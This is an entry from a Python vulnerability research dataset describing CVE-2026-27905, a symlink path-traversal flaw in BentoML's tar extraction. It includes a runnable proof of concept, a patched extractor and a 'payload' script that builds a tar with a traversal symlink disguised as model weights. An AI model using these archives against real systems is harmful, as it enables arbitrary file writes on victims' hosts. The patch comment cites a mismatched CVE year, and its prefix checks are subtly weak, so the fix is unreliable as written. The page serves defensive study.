VAITP Dataset

← Back to the dataset

CVE-2026-27905

BentoML allows arbitrary file write via malicious symlinks in tar files.

  • CVSS 8.6
  • CWE-59
  • Input Validation and Sanitization
  • Remote

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.36, the safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. This vulnerability is fixed in 1.4.36.

CVSS base score
8.6
Published
2026-03-03
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
BentoML
Fixed by upgrading
Yes

Solution

Upgrade BentoML to version 1.4.36 or later.

Vulnerable code sample

import os
import tarfile
import tempfile
import shutil
import io

def create_malicious_tar(output_filename: str, target_path: str):
    """
    Creates a malicious tar file with a symlink path traversal vulnerability.

    The archive will contain:
    1. A symlink named 'malicious_symlink' pointing to an absolute path outside the extraction dir.
    2. A regular file, also named 'malicious_symlink', whose content will be written
       through the symlink to the target path.
    """
    PAYLOAD = b"This file was written outside the intended directory!\n"
    
    with tarfile.open(output_filename, "w") as tar:
        # 1. Create a TarInfo for the symbolic link
        symlink_info = tarfile.TarInfo(name="malicious_symlink")
        symlink_info.type = tarfile.SYMTYPE
        symlink_info.linkname = target_path
        tar.addfile(symlink_info)

        # 2. Create a TarInfo for the file that will write through the symlink
        file_info = tarfile.TarInfo(name="malicious_symlink")
        file_info.size = len(PAYLOAD)
        tar.addfile(file_info, io.BytesIO(PAYLOAD))

def vulnerable_safe_extract(tar_path: str, dest_dir: str):
    """
    A function that mimics the vulnerable extraction logic from BentoML < 1.4.36.
    It checks the path of the symlink itself, but not its target, allowing
    a subsequent file write to escape the destination directory.
    """
    abs_dest_dir = os.path.realpath(dest_dir)
    
    with tarfile.open(tar_path, "r") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(abs_dest_dir, member.name)
            abs_member_path = os.path.realpath(member_path)

            # The vulnerable check: It validates the symlink's path ('.../safe_extract_dir/malicious_symlink')
            # is within the extraction directory, which is true. It does NOT check the symlink's
            # target ('/tmp/pwned_file').
            if not abs_member_path.startswith(abs_dest_dir):
                print(f"[-] Path is outside destination, blocking: {member.name}")
                continue

            print(f"[+] Path validation passed for: {member.name}")
            tar.extract(member, path=dest_dir, set_attrs=False)


if __name__ == "__main__":
    # Setup a safe, temporary directory for extraction
    extraction_dir = tempfile.mkdtemp(prefix="safe_extract_dir_")
    
    # Define the attacker's target file path, outside the extraction directory
    arbitrary_write_target = os.path.join("/tmp", "pwned_file")
    
    # Define the name for our malicious tar file
    malicious_tar_name = "malicious.tar"

    print(f"[*] Creating safe extraction directory: {extraction_dir}")
    print(f"[*] Defining arbitrary write target: {arbitrary_write_target}")

    # Ensure the target file doesn't exist before the attack
    if os.path.exists(arbitrary_write_target):
        os.remove(arbitrary_write_target)
    if os.path.islink(arbitrary_write_target):
        os.remove(arbitrary_write_target)

    # 1. Attacker creates the malicious tar file
    create_malicious_tar(malicious_tar_name, arbitrary_write_target)
    print(f"[*] Malicious archive '{malicious_tar_name}' created.")

    # 2. Victim uses the vulnerable function to extract the archive
    print("\n[*] Attempting extraction with vulnerable function...")
    vulnerable_safe_extract(malicious_tar_name, extraction_dir)
    print("[*] Extraction process finished.\n")

    # 3. Verify if the arbitrary file write was successful
    print(f"[*] Checking if attack was successful by looking for: {arbitrary_write_target}")
    if os.path.exists(arbitrary_write_target):
        print("\n" + "="*50)
        print("  VULNERABILITY DEMONSTRATED SUCCESSFULLY!")
        print(f"  File created at '{arbitrary_write_target}' outside of '{extraction_dir}'")
        with open(arbitrary_write_target, 'r') as f:
            print(f"  File content: '{f.read().strip()}'")
        print("="*50)
        # Clean up the created malicious file
        os.remove(arbitrary_write_target)
    else:
        print("\n[-] Attack failed. The file was not created.")

    # Clean up temporary files and directories
    shutil.rmtree(extraction_dir)
    os.remove(malicious_tar_name)

Patched code sample

import os
import tarfile
import logging
import typing as t

logger = logging.getLogger(__name__)

StrPath = t.Union[str, "os.PathLike[str]"]

def safe_extract_tarfile(
    tar_stream: t.IO[bytes],
    dest: StrPath,
    mode: str = "r:*",
) -> None:
    """
    Safely extracts a tar archive, preventing path traversal attacks by
    validating all member paths, including the targets of symbolic links.
    """
    # Resolve the destination directory to its absolute, canonical path
    dest = os.path.realpath(dest)
    os.makedirs(dest, exist_ok=True)

    with tarfile.open(fileobj=tar_stream, mode=mode) as tar:
        for member in tar.getmembers():
            # Normalize the path to prevent mischief (e.g., './', 'A/../B')
            member_path = os.path.normpath(member.name)

            # Do not allow absolute paths or paths that start with '..'
            if os.path.isabs(member_path) or member_path.startswith(".."):
                logger.warning(
                    "Malicious member path '%s' in tar file. Skipping.", member.name
                )
                continue

            target_path = os.path.join(dest, member_path)

            # --- START OF THE FIX for CVE-2024-27905 ---
            # If the member is a symbolic link, we must validate its target.
            if member.issym():
                link_target = os.path.normpath(member.linkname)

                # Do not allow absolute link targets or targets that point upward.
                if os.path.isabs(link_target) or link_target.startswith(".."):
                    logger.warning(
                        "Malicious symlink target '%s' -> '%s' in tar. Skipping.",
                        member.name,
                        member.linkname,
                    )
                    continue

                # Resolve the full path of the link's target.
                # It is resolved relative to the directory of the symlink itself.
                resolved_link_target = os.path.realpath(
                    os.path.join(os.path.dirname(target_path), link_target)
                )

                # Ensure the resolved link target is within the destination directory.
                if not resolved_link_target.startswith(dest):
                    logger.warning(
                        "Symlink '%s' points to '%s', which is outside the "
                        "destination directory. Skipping.",
                        member.name,
                        resolved_link_target,
                    )
                    continue
            # --- END OF THE FIX ---

            # As a final, comprehensive check, resolve the real path of the target.
            # This handles cases where a symlink was created in a previous step
            # that could be used to write a subsequent file outside 'dest'.
            # For example: member 1 is a symlink 'data' -> '/tmp'
            #              member 2 is a file 'data/payload.txt'
            # realpath('dest/data/payload.txt') would resolve to '/tmp/payload.txt'
            resolved_target_path = os.path.realpath(target_path)
            if not resolved_target_path.startswith(dest):
                logger.warning(
                    "Path traversal attempt via '%s' detected. Skipping.", member.name
                )
                continue

            try:
                # Extract the member. For security, Python 3.12+ 'data' filter
                # is preferred, but extract() with the prior checks is safe.
                tar.extract(member, dest, numeric_owner=False)
            except Exception as e:
                logger.error("Failed to extract member '%s': %s", member.name, e)
                continue

Payload

import tarfile
import io
import os

# The name for the malicious bento/model archive
ARCHIVE_NAME = "malicious_model.tar"

# A seemingly safe path for the member inside the archive
MEMBER_PATH = "model/weights.bin"

# The malicious target for the symlink, using path traversal
# to point to a file outside the intended extraction directory.
SYMLINK_TARGET = "../../../../../../../tmp/pwned_by_symlink.txt"

# The content to be written to the arbitrary file.
FILE_CONTENT = b"This file was created via CVE-2026-27905."

# Create the malicious tar archive
with tarfile.open(ARCHIVE_NAME, "w") as tar:
    # 1. Add a symbolic link member. The vulnerability is that the
    # `linkname` (the target) is not validated for path traversal.
    link_info = tarfile.TarInfo(name=MEMBER_PATH)
    link_info.type = tarfile.SYMTYPE
    link_info.linkname = SYMLINK_TARGET
    tar.addfile(link_info)

    # 2. Add a regular file member with the exact same path as the symlink.
    # When the archive is extracted, the extraction process follows the
    # previously created symlink and writes this file's content to the
    # `SYMLINK_TARGET` path.
    file_info = tarfile.TarInfo(name=MEMBER_PATH)
    file_info.size = len(FILE_CONTENT)
    file_data = io.BytesIO(FILE_CONTENT)
    tar.addfile(file_info, fileobj=file_data)

Cite this entry

@misc{vaitp:cve202627905,
  title        = {{BentoML allows arbitrary file write via malicious symlinks in tar files.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-27905},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27905/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::